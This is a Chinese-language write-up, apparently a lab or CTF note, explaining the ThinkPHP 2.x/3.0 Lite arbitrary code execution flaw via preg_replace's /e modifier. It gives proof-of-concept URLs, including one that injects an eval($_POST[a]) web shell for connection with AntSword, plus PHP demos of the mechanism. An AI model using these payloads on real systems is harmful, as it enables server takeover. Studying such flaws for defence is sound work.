Thinkphp2.x 任意代码执行漏洞
程序员文章站
2022-07-16 11:41:47
...
1.漏洞复现
ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
2.POC
http://your-ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D
http://node3.buuoj.cn:26866/index.php?s=%2findex%2findex%2fname%2f$%7Beval($_POST%5Ba%5D)%7D
可以直接蚁剑连接
正则表达式的修饰符/e:只用在preg_replace()函数中,在替换字符串中逆向引用做正常的替换,将其(即“替换字符串”)作为PHP代码求值,并用其结果来替换所搜索的字符串
例:
<?php
$a = '1a2b3c';
$b = preg_replace('/\d/e', 'print(xxx);', $a);
echo $b;
>
运行结果
Notice: Use of undefined constant xxx - assumed 'xxx' in F:\phpstudy\WWW\1.php(8) : regexp code on line 1
xxx
Notice: Use of undefined constant xxx - assumed 'xxx' in F:\phpstudy\WWW\1.php(8) : regexp code on line 1
xxx
Notice: Use of undefined constant xxx - assumed 'xxx' in F:\phpstudy\WWW\1.php(8) : regexp code on line 1
xxx1a1b1c
虽然有报错,但是已经执行了print(xxx)
正则表达式的搜索模式:(\w+)/([^/])是取每两个参数
$var[’\1’]="\2";是对数组的操作,将之前第一个值作为新数组的键,将第二个值作为新数组的值
例:
<?php
$var = array();
$s = 'a/b/c/d/e/f/g';
preg_replace("/(\w+)\/([^\/])/ies", '$var[\'\\1\']="\\2";', $s);
print_r($var);
?>
运行结果
Array ( [a] => b [c] => d [e] => f )
这里最开始匹配到a、b,a作为键,b作为值,以此类推
为了让我们构造的语句以执行,我们只需要将语句作为数组的值,如:
/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}
......
(语句在第偶数个参数位置)
PHP语法
在PHP中${}里面可以执行函数